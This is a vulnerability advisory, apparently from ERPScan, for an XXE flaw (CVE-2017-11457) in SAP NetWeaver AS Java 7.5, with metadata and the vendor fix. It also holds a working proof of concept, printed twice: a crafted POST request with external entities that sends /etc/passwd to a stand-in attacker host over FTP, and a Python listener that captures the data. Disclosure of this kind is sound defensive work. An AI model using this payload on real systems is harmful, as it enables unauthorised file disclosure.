Application: SAP NetWeaver AS Java **Versions Affected:**SAP NetWeaver AS Java 7.5 Vendor URL: SAP **Bugs:**XXE **Reported:**17.06.2016 **Vendor response:**18.06.2016 **Date of Public Advisory:**11.04.2017 **Reference: **SAP Security Note 2387249 Author: Mathieu Geli (ERPScan)
Class: XXE
Impact: File disclosure, network discovery
Remotely Exploitable: yes
Locally Exploitable: no
CVE Name: CVE-2017-11457
CVSS v3 Base Score: 4.9 / 10
CVSS v3 Base Vector:
AV: Attack Vector (Related exploit range) | Network (N) |
---|---|
AC: Attack Complexity (Required attack complexity) | Low (L) |
PR: Privileges Required (Level of privileges needed to exploit) | High(H) |
UI: User Interaction (Required user participation) | None (N) |
S: Scope (Change in scope due to impact caused to components beyond the vulnerable component) | Unchanged (U) |
C: Impact to Confidentiality | None (N) |
I: Impact to Integrity | None (N) |
A: Impact to Availability | High (H) |
A malicious user can modify an XML-based request to include XML content that is then parsed locally.
An attacker can use an XML external entity vulnerability to send specially crafted unauthorized XML requests, which will be processed by XML parser. The attacker can use an XML external entity vulnerability for getting unauthorized access to OS file system.
SAP NetWeaver 7.5
Validated on kernel 745
To correct this vulnerability, install SAP Security Note 2387249
A malicious user can modify an XML-based request to include XML content that is then parsed locally.
POST /irj/servlet/prt/portal/prtroot/com.sap.km.cm.ice HTTP/1.1 Host: <host>:<port> Authorization: Basic dXNlcjpwYXNzd29yZA== User-Agent: curl/7.43.0 Accept: / Content-Type: xml;charset=UTF-8 Content-Length: 181 <?xml version=“1.0” encoding=“ISO-8859-1”?> <!DOCTYPE foo [ <!ENTITY % pe SYSTEM “http://ATTACKERIP/xxe_file”> %pe; %param1; <!ELEMENT foo (#PCDATA)> ]> &leak; and xxe_file is: <!ENTITY % payload SYSTEM “file:///etc/passwd”> <!ENTITY % param1 “<!ENTITY leak SYSTEM ‘ftp://<ATTACKERIP>:2121/%payload;’>”> On ATTACKERIP we start an python FTP daemon on port 2121 : #!/usr/bin/env python from future import print_function import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((‘0.0.0.0’,2121)) s.listen(1) print(‘XXE-FTP listening ‘) conn,addr = s.accept() print(‘Connected by %s’,addr) conn.sendall(‘220 Staal XXE-FTP\r\n’) stop = False while not stop: dp = str(conn.recv(1024)) if dp.find(“USER”) > -1: conn.sendall(“331 password please - version check\r\n”) else: conn.sendall(“230 more data please!\r\n”) if dp.find(“RETR”)==0 or dp.find(“QUIT”)==0: stop = True if dp.find(“CWD”) > -1: print(dp.replace(‘CWD ‘,’/’,1).replace(’\r\n’,‘’),end=‘’) else: print(dp) conn.close() s.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
POST /irj/servlet/prt/portal/prtroot/com.sap.km.cm.ice HTTP/1.1
Host: <host>:<port>
Authorization: Basic dXNlcjpwYXNzd29yZA==
User-Agent: curl/7.43.0
Accept: /
Content-Type: xml;charset=UTF-8
Content-Length: 181
<?xml version=“1.0” encoding=“ISO-8859-1”?>
<!DOCTYPE foo [
<!ENTITY % pe SYSTEM “http://ATTACKERIP/xxe_file”>
%pe;
%param1;
<!ELEMENT foo (#PCDATA)>
]>
&leak;
and xxe_file is:
<!ENTITY % payload SYSTEM “file:///etc/passwd”>
<!ENTITY % param1 “<!ENTITY leak SYSTEM ‘ftp://<ATTACKERIP>:2121/%payload;’>”>
On ATTACKERIP we start an python FTP daemon on port 2121 :
#!/usr/bin/env python
from future import print_function
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((‘0.0.0.0’,2121))
s.listen(1)
print('XXE-FTP listening ')
conn,addr = s.accept()
print(‘Connected by %s’,addr)
conn.sendall(‘220 Staal XXE-FTP\r\n’)
stop = False
while not stop:
dp = str(conn.recv(1024))
if dp.find(“USER”) > -1:
conn.sendall(“331 password please - version check\r\n”)
else:
conn.sendall(“230 more data please!\r\n”)
if dp.find(“RETR”)==0 or dp.find(“QUIT”)==0:
stop = True
if dp.find(“CWD”) > -1:
print(dp.replace(‘CWD ‘,’/’,1).replace(‘\r\n’,‘’),end=‘’)
else:
print(dp)
conn.close()
s.close()
—|—